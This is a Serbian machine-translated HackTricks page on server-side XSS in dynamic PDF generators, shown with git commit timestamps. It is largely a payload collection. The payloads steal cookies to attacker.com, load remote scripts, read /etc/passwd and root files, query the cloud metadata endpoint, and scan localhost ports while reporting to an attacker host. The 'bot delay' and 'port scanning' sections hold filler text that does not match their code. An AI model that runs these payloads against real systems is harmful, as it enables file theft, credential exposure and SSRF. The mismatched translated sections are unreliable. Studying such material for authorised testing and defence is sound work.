hacktricks/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md

224 lines
13 KiB
Markdown
Raw Normal View History

2024-02-10 13:11:20 +00:00
# Server Side XSS (Dinamički PDF)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2024-01-01 17:15:42 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju oglašenu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 13:11:20 +00:00
## Server Side XSS (Dinamički PDF)
2022-04-30 10:09:20 +00:00
2024-02-10 13:11:20 +00:00
Ako veb stranica kreira PDF koristeći korisnički kontrolisani unos, možete pokušati da **prevarite robota** koji kreira PDF da **izvrši proizvoljni JS kod**.\
Dakle, ako **PDF kreator robot pronađe** neke vrste **HTML** **tagova**, on će ih **interpretirati**, a vi možete **zloupotrebiti** ovaj ponašanje da izazovete **Server XSS**.
2024-02-10 13:11:20 +00:00
Molim vas, obratite pažnju da `<script></script>` tagovi ne rade uvek, pa će vam biti potrebna druga metoda za izvršavanje JS koda (na primer, zloupotreba `<img` ).\
Takođe, imajte na umu da ćete u redovnom iskorišćavanju biti **u mogućnosti da vidite/preuzmete kreirani PDF**, pa ćete moći da vidite sve što **pišete putem JS-a** (koristeći `document.write()` na primer). Ali, ako **ne možete videti** kreirani PDF, verovatno ćete morati **izvući informacije praveći web zahtev ka sebi** (Slepi).
2024-02-10 13:11:20 +00:00
### Popularna generacija PDF-a
2024-02-10 13:11:20 +00:00
- **wkhtmltopdf** je poznat po svojoj sposobnosti da konvertuje HTML i CSS u PDF dokumente, koristeći WebKit render mašinu. Ovaj alat je dostupan kao open-source komandna linija, što ga čini dostupnim za širok spektar aplikacija.
- **TCPDF** nudi robustno rešenje unutar PHP ekosistema za generisanje PDF-a. On je sposoban za rukovanje slikama, grafikama i enkripcijom, što pokazuje njegovu sposobnost za kreiranje složenih dokumenata.
- Za one koji rade u Node.js okruženju, **PDFKit** predstavlja prihvatljivu opciju. Omogućava generisanje PDF dokumenata direktno iz HTML-a i CSS-a, pružajući most između web sadržaja i formata za štampanje.
- Java programeri mogu preferirati **iText**, biblioteku koja ne samo da olakšava kreiranje PDF-a, već podržava i napredne funkcionalnosti poput digitalnih potpisa i popunjavanja formulara. Njegov obuhvatan skup funkcionalnosti čini ga pogodnim za generisanje sigurnih i interaktivnih dokumenata.
- **FPDF** je još jedna PHP biblioteka, koja se ističe svojom jednostavnošću i lakoćom korišćenja. Namijenjena je programerima koji traže jednostavan pristup generisanju PDF-a, bez potrebe za naprednim funkcionalnostima.
2024-02-06 03:10:27 +00:00
2024-02-10 13:11:20 +00:00
## Payloadi
2024-02-10 13:11:20 +00:00
### Otkrivanje
```markup
2021-09-08 08:59:37 +00:00
<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
2021-09-08 08:59:37 +00:00
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">
```
2022-10-02 15:25:27 +00:00
### SVG
2021-06-16 09:00:28 +00:00
2024-02-10 13:11:20 +00:00
Bilo koji od prethodnih ili sledećih payloada može se koristiti unutar ovog SVG payloada. Jedan iframe koji pristupa Burpcollab poddomenu i još jedan koji pristupa metadata endpointu su dati kao primeri.
2021-06-16 09:00:28 +00:00
```markup
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
2024-02-10 13:11:20 +00:00
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
2021-06-16 09:00:28 +00:00
</svg>
2022-04-30 10:09:20 +00:00
<svg width="100%" height="100%" viewBox="0 0 100 100"
2024-02-10 13:11:20 +00:00
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
2022-04-30 10:09:20 +00:00
</svg>
2021-06-16 09:00:28 +00:00
```
2024-02-10 13:11:20 +00:00
Možete pronaći mnogo **drugih SVG payloada** na [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
2021-06-16 09:00:28 +00:00
2024-02-10 13:11:20 +00:00
### Otkrivanje putanje
```markup
<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>
```
2024-02-10 13:11:20 +00:00
### Učitajte spoljni skript
2024-02-10 13:11:20 +00:00
Najbolji način za iskorišćavanje ove ranjivosti je zloupotreba ranjivosti kako bi se naterao bot da učita skriptu kojom vi upravljate lokalno. Zatim ćete moći da lokalno promenite payload i naterate bota da ga učita sa istim kodom svaki put.
```markup
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
```
2024-02-10 13:11:20 +00:00
### Čitanje lokalne datoteke / SSRF
{% hint style="warning" %}
2024-02-10 13:11:20 +00:00
Promenite `file:///etc/passwd` u `http://169.254.169.254/latest/user-data` na primer da **pokušate da pristupite spoljnoj veb stranici (SSRF)**.
2024-02-10 13:11:20 +00:00
Ako je SSRF dozvoljen, ali **ne možete da pristupite** zanimljivom domenu ili IP adresi, [proverite ovu stranicu za potencijalne zaobilaženja](../ssrf-server-side-request-forgery/url-format-bypass.md).
{% endhint %}
```markup
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
2021-09-08 08:59:37 +00:00
</script>
```
```markup
<script>
2024-02-10 13:11:20 +00:00
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
2021-09-08 08:59:37 +00:00
</script>
```
```markup
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
2020-11-04 10:26:58 +00:00
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
2024-02-10 13:11:20 +00:00
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
```
2022-07-06 02:55:19 +00:00
```markup
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
```
2024-02-10 13:11:20 +00:00
### Kašnjenje robota
2022-07-06 02:55:19 +00:00
2024-02-10 13:11:20 +00:00
U nekim situacijama, prilikom izvođenja napada, može biti korisno dodati kašnjenje između svake iteracije kako bi se izbeglo otkrivanje i sprečilo blokiranje od strane ciljnog servera. Ovo se naziva "bot delay" ili kašnjenje robota.
2024-02-10 13:11:20 +00:00
Da biste implementirali kašnjenje robota, možete koristiti funkciju `sleep()` ili slične metode u programskom jeziku koji koristite za izvršavanje napada. Ova funkcija će privremeno zaustaviti izvršavanje programa na određeno vreme pre nego što nastavi sa sledećom iteracijom.
Na primer, u Pythonu možete koristiti biblioteku `time` i funkciju `sleep()` kako biste postavili kašnjenje između iteracija. Evo kako to možete uraditi:
```python
import time
# Postavite kašnjenje od 1 sekunde između iteracija
time.sleep(1)
```
Ovo će zaustaviti izvršavanje programa na 1 sekundu pre nego što nastavi sa sledećom iteracijom. Možete prilagoditi vreme kašnjenja prema potrebama i zahtevima napada.
Važno je napomenuti da kašnjenje robota može biti korisno u određenim situacijama, ali nije uvek neophodno ili efikasno. Treba pažljivo proceniti kada je potrebno koristiti kašnjenje robota kako bi se postigao optimalan rezultat napada.
```markup
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
2024-02-10 13:11:20 +00:00
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">
```
2024-02-10 13:11:20 +00:00
### Skeniranje portova
Port skeniranje je proces koji se koristi za identifikaciju otvorenih portova na ciljnom računaru ili mreži. Ova tehnika omogućava hakerima da otkriju ranjive tačke ulaza i izlaza, kao i da identifikuju servise koji su dostupni na ciljnom sistemu.
2024-02-10 13:11:20 +00:00
Da biste izvršili port skeniranje, možete koristiti različite alate kao što su Nmap, Masscan ili Zmap. Ovi alati šalju mrežne zahteve na određene portove i analiziraju odgovore kako bi utvrdili da li su portovi otvoreni, zatvoreni ili filtrirani.
2024-02-10 13:11:20 +00:00
Port skeniranje može biti korisno u procesu testiranja penetracije, jer omogućava identifikaciju potencijalnih ranjivosti i slabosti u mrežnoj infrastrukturi. Međutim, važno je napomenuti da port skeniranje može biti nezakonito ako se izvodi bez dozvole vlasnika sistema ili mreže.
Kada izvršavate port skeniranje, važno je biti pažljiv i poštovati zakonske propise. Uvek se preporučuje da imate pisanu dozvolu od vlasnika sistema ili mreže pre nego što izvršite bilo kakvo skeniranje portova.
```markup
<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
2024-02-10 13:11:20 +00:00
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}
for(let i=0; i<1000; i++) {
2024-02-10 13:11:20 +00:00
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">
```
2022-10-02 15:25:27 +00:00
### [SSRF](../ssrf-server-side-request-forgery/)
2024-02-10 13:11:20 +00:00
Ova ranjivost se može vrlo lako transformisati u SSRF (jer možete učitati spoljne resurse pomoću skripte). Pokušajte je iskoristiti (pročitajte neke metapodatke?).
2024-02-10 13:11:20 +00:00
### Prilozi: PD4ML
2022-12-27 12:57:39 +00:00
2024-02-10 13:11:20 +00:00
Postoje neki HTML 2 PDF engine-i koji omogućavaju **specificiranje priloga za PDF**, kao što je **PD4ML**. Možete zloupotrebiti ovu funkcionalnost da **priložite bilo koji lokalni fajl** PDF-u.\
Da biste otvorili prilog, otvorio sam fajl sa **Firefox-om i dvaput kliknuo na simbol spajalice** da bih **sačuvao prilog** kao novi fajl.\
Snimanje **PDF odgovora** sa Burp-om takođe bi trebalo da **prikaže prilog u čistom tekstu** unutar PDF-a.
2022-12-27 12:57:39 +00:00
{% code overflow="wrap" %}
```html
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>
```
{% endcode %}
2024-02-10 13:11:20 +00:00
## Reference
* [https://lbherrera.github.io/lab/h1415-ctf-writeup.html](https://lbherrera.github.io/lab/h1415-ctf-writeup.html)
* [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
* [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
* [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2024-01-01 17:15:42 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju oglašenu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>